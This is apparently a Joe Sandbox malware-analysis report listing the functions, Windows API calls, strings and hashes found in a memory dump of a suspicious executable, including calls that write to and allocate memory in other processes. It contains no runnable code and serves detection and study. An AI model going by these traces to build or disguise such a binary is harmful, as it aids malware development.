Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 5989b6251be0f78f5255385bdb5b4acbd80254bdbe96670d3654a542fa0e147a
Instruction ID: 0ffdbbd939879d9aebc86e3ea2005f8adbc756a0ef9b475c3e31d3f5d7372ef9
Opcode Fuzzy Hash: 5989b6251be0f78f5255385bdb5b4acbd80254bdbe96670d3654a542fa0e147a
Instruction Fuzzy Hash: 1B01B9B2641605BFE20855509E52FBB739CABA1398F058031FD0CAA282F764EE11C3B1

Function 00912DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0090F2DE,00913863,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6), ref: 00912DFD
_free.LIBCMT ref: 00912E32
_free.LIBCMT ref: 00912E59
SetLastError.KERNEL32(00000000,008E1129), ref: 00912E66
SetLastError.KERNEL32(00000000,008E1129), ref: 00912E6F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: c7b0d3b8f83e11c0abe2335de0048a4a01bd08931014ea000a02a053048623f5
Instruction ID: b17615d01fd19824f1dac15230fca2f124afa6da502861dbc2dee5f6b81b52ed
Opcode Fuzzy Hash: c7b0d3b8f83e11c0abe2335de0048a4a01bd08931014ea000a02a053048623f5
Instruction Fuzzy Hash: 7A01287334960C6BC61237346C85EEB266DAFC23B5B60442CF829E61D2EF348CF15060

Function 0094000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?,?,0094035E), ref: 0094002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?), ref: 00940046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?), ref: 00940054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?), ref: 00940064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0093FF41,80070057,?,?), ref: 00940070

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: f8bb5ca6811b50af588d5880d41eb1337112181ae6482631876029e8785cb0e8
Instruction ID: c18d58b5a6c4ad8ee0da0b72df27c2adcabf2529e8c666759888f23a28b57241
Opcode Fuzzy Hash: f8bb5ca6811b50af588d5880d41eb1337112181ae6482631876029e8785cb0e8
Instruction Fuzzy Hash: CE018FB2610204BFDB204F68DC04FAA7BADEB84791F144128FE09D2210D775DE80DBA0

Function 0094E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0094E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0094E9A5
Sleep.KERNEL32(00000000), ref: 0094E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0094E9B7
Sleep.KERNEL32 ref: 0094E9F3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: cbf754440b627041a1157663e2db19ac242ff1e9e714f82b3a2e558f4c379165
Instruction ID: 0bf797a937c16d67713205882244b934df62ec4328805acbbd4fcd539a6e9371
Opcode Fuzzy Hash: cbf754440b627041a1157663e2db19ac242ff1e9e714f82b3a2e558f4c379165
Instruction Fuzzy Hash: CC019E72C19A2EDBCF00AFE4DC49AEDBB78FF08310F40055AE502B2281DB349590DBA1

Function 009410F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00941114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 0094112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0094114D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 93399809475daf54d8498944f93d6993005413994d41b0db2f888147b2e6b70e
Instruction ID: ed6346fd8692685e4d7d4c83714fbf53ed507eba377ff6f2212bea9e3ac00f2c
Opcode Fuzzy Hash: 93399809475daf54d8498944f93d6993005413994d41b0db2f888147b2e6b70e
Instruction Fuzzy Hash: 1B0131B6114205BFDB154F65DC49E6A3F6EEF89361B104429FA45D7350DB31DC809A60

Function 00940FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00940FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00940FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00940FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00940FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00941002

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ca85b77050feb5228ab05040ce64152c46affd6301037309646a520e9634cd98
Instruction ID: e7d01d534c846caee412c99bf48947b763ae9d983ce9903fa4080c7e4c346a49
Opcode Fuzzy Hash: ca85b77050feb5228ab05040ce64152c46affd6301037309646a520e9634cd98
Instruction Fuzzy Hash: AAF06DB6214301EBDB214FA4EC4DF563FADEF89762F504428FA49D7261CA70DC809A60

Function 00941014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0094102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00941036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00941045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0094104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00941062

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 0526d5b865e0f7ca91364b8d56c48d4956a15b882582acc7370e38ae72f99848
Instruction ID: 845ccc00898175af95d6fcc694a3bc34dcc834dc8c12411eb1bc6339fbf3fc6a
Opcode Fuzzy Hash: 0526d5b865e0f7ca91364b8d56c48d4956a15b882582acc7370e38ae72f99848
Instruction Fuzzy Hash: 22F06DB6214301EBDB215FA4EC49F563BADEF89761F100428FA49D7250CA70D8909A60

Function 0095030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 00950324
CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 00950331
CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 0095033E
CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 0095034B
CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 00950358
CloseHandle.KERNEL32(?,?,?,?,0095017D,?,009532FC,?,00000001,00922592,?), ref: 00950365

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c04de8c8e2adf7f28af8dcea626165b70e5ec8f42d91d86613a8c86b1f5e835a
Instruction ID: 2ceb5a422ff7c3d032fe594fda05a4a2b93cb980ba97cec1c53c83533914205d
Opcode Fuzzy Hash: c04de8c8e2adf7f28af8dcea626165b70e5ec8f42d91d86613a8c86b1f5e835a
Instruction Fuzzy Hash: DC01AE72800B15DFCB30AF66D880812FBF9BFA03163158A3FD19652931C3B1A998DF80

Function 0091D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0091D752

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 0091D764
_free.LIBCMT ref: 0091D776
_free.LIBCMT ref: 0091D788
_free.LIBCMT ref: 0091D79A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 57c80ad64519f1f325c331dfd196f2fb1b6b6343fa623c6867d2f3cbde04462c
Instruction ID: f680bdb2b7392eaf05f09c818a31605aacf63cf8a313925b7ecf0395d928e8a8
Opcode Fuzzy Hash: 57c80ad64519f1f325c331dfd196f2fb1b6b6343fa623c6867d2f3cbde04462c
Instruction Fuzzy Hash: 86F04FB271520CAB8625FB6CFAC5D9677DDBF85720B940805F058DB541CB24FCD086A0

Function 00945C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00945C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00945C6F
MessageBeep.USER32(00000000), ref: 00945C87
KillTimer.USER32(?,0000040A), ref: 00945CA3
EndDialog.USER32(?,00000001), ref: 00945CBD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: b25c437a7d42f40e2c02104e599d48b265ceb44214b8e76b1cb463dfa4cd0942
Instruction ID: 4b4b32fc6dec7802c8c9f2545416b56f409d9b97f2d527805383b63d1fae3909
Opcode Fuzzy Hash: b25c437a7d42f40e2c02104e599d48b265ceb44214b8e76b1cb463dfa4cd0942
Instruction Fuzzy Hash: 88018171514B04ABEB315B50DDCEFA67BB8BB00B06F01065DA587A10E2DBF4A9849B91

Function 009122A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 009122BE

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 009122D0
_free.LIBCMT ref: 009122E3
_free.LIBCMT ref: 009122F4
_free.LIBCMT ref: 00912305

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 404891bbf46c184d92088de19240ef68918ab9c5fe3e7624ba6743c37f0335e1
Instruction ID: 68bea41e04053ae7569400429ae437f282db00b8d11a60131578e28380d114b8
Opcode Fuzzy Hash: 404891bbf46c184d92088de19240ef68918ab9c5fe3e7624ba6743c37f0335e1
Instruction Fuzzy Hash: A9F03AB1A282248BC616BF58BE019AD3FA4FB59771740070AF430DA2B1C73548B1BBE4

Function 008F95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 008F95D4
StrokeAndFillPath.GDI32(?,?,009371F7,00000000,?,?,?), ref: 008F95F0
SelectObject.GDI32(?,00000000), ref: 008F9603
DeleteObject.GDI32 ref: 008F9616
StrokePath.GDI32(?), ref: 008F9631

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 3797950b9472eb6d56d34c3a47183b21e495b1d1edeecbcb82e7ab96b0ddc230
Instruction ID: 676f406da0c2c9281bffe247fc9731387b58e432043e1f151bb74756a719bbd0
Opcode Fuzzy Hash: 3797950b9472eb6d56d34c3a47183b21e495b1d1edeecbcb82e7ab96b0ddc230
Instruction Fuzzy Hash: CDF0193102D248EBDB225F65EE287A43B65FB11376F548318F569950F0C7348991EF60

Function 00910F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 009110F9
__freea.LIBCMT ref: 00911117

Part of subcall function 00911537: _free.LIBCMT ref: 0091154F

Strings

am/pm, xrefs: 0091117A
a/p, xrefs: 009111DE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 15ca09828b272925f98998eb687bd8018f88a2ebf4ef50a0a96fd1410ee454a7
Instruction ID: e34787312a8f83ce7f66e36d1297a9aa0abd4b6dd557678a4723a6e4106e3de3
Opcode Fuzzy Hash: 15ca09828b272925f98998eb687bd8018f88a2ebf4ef50a0a96fd1410ee454a7
Instruction Fuzzy Hash: 9CD1E131B0420EFADB289F68C845BFAB7B9EF05300F284559E7219B654D3799DC2CB91

Function 00967B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00900242: EnterCriticalSection.KERNEL32(009B070C,009B1884,?,?,008F198B,009B2518,?,?,?,008E12F9,00000000), ref: 0090024D
Part of subcall function 00900242: LeaveCriticalSection.KERNEL32(009B070C,?,008F198B,009B2518,?,?,?,008E12F9,00000000), ref: 0090028A

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 009000A3: __onexit.LIBCMT ref: 009000A9

__Init_thread_footer.LIBCMT ref: 00967BFB

Part of subcall function 009001F8: EnterCriticalSection.KERNEL32(009B070C,?,?,008F8747,009B2514), ref: 00900202
Part of subcall function 009001F8: LeaveCriticalSection.KERNEL32(009B070C,?,008F8747,009B2514), ref: 00900235

Strings

G, xrefs: 00967C7F
5, xrefs: 00967C78
Variable must be of type 'Object'., xrefs: 00967C3A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: c296c2c63ceedd6166f2bac1fb5d13d2575612ae1ac3ee197ce77bc0da1c4eaa
Instruction ID: 05daefdea16bbd658461f8a1bf3f753f836e3474a36151c573604fb53ee8a55b
Opcode Fuzzy Hash: c296c2c63ceedd6166f2bac1fb5d13d2575612ae1ac3ee197ce77bc0da1c4eaa
Instruction Fuzzy Hash: A491AC70A04208EFCB14EF98C991DBDB7B5FF89308F108459F8469B292DB75AE41CB51

Function 00942716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0094B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009421D0,?,?,00000034,00000800,?,00000034), ref: 0094B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00942760

Part of subcall function 0094B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009421FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0094B3F8

Part of subcall function 0094B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0094B355
Part of subcall function 0094B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00942194,00000034,?,?,00001004,00000000,00000000), ref: 0094B365
Part of subcall function 0094B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00942194,00000034,?,?,00001004,00000000,00000000), ref: 0094B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009427CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0094281A

Strings

@, xrefs: 00942832

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 3e1503ba381c506eb713d236356bcff0746655636dc43d6b4a0320812ddc6d61
Instruction ID: e6e7ab810fcea78c653cb92e05509a8e269e3452d550b5b290b59aa38b24d868
Opcode Fuzzy Hash: 3e1503ba381c506eb713d236356bcff0746655636dc43d6b4a0320812ddc6d61
Instruction Fuzzy Hash: EF410C72901218AEDB10DFA4C985FEEBBB8AF45700F104099FA55B7191DB70AE85CB61

Function 0091172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe,00000104), ref: 00911769
_free.LIBCMT ref: 00911834
_free.LIBCMT ref: 0091183E

Strings

C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe, xrefs: 00911760, 00911767, 00911796, 009117CE

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
API String ID: 2506810119-1866766686
Opcode ID: 4eb249cbb6f88367414cb571223020698da193d01848f0fe34ea41711dff6a37
Instruction ID: 3df2ea220abb2945e825f007b7815390c7665d701efedd2ca5b58a51819e7361
Opcode Fuzzy Hash: 4eb249cbb6f88367414cb571223020698da193d01848f0fe34ea41711dff6a37
Instruction Fuzzy Hash: AA318E71B0421CBFDB21DF999981EDEBBFCEB85320B5041A6F91497251D6708E80DB90

Function 0094C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0094C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0094C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,009B1990,011E5668), ref: 0094C395

Strings

0, xrefs: 0094C2DF

Memory Dump Source

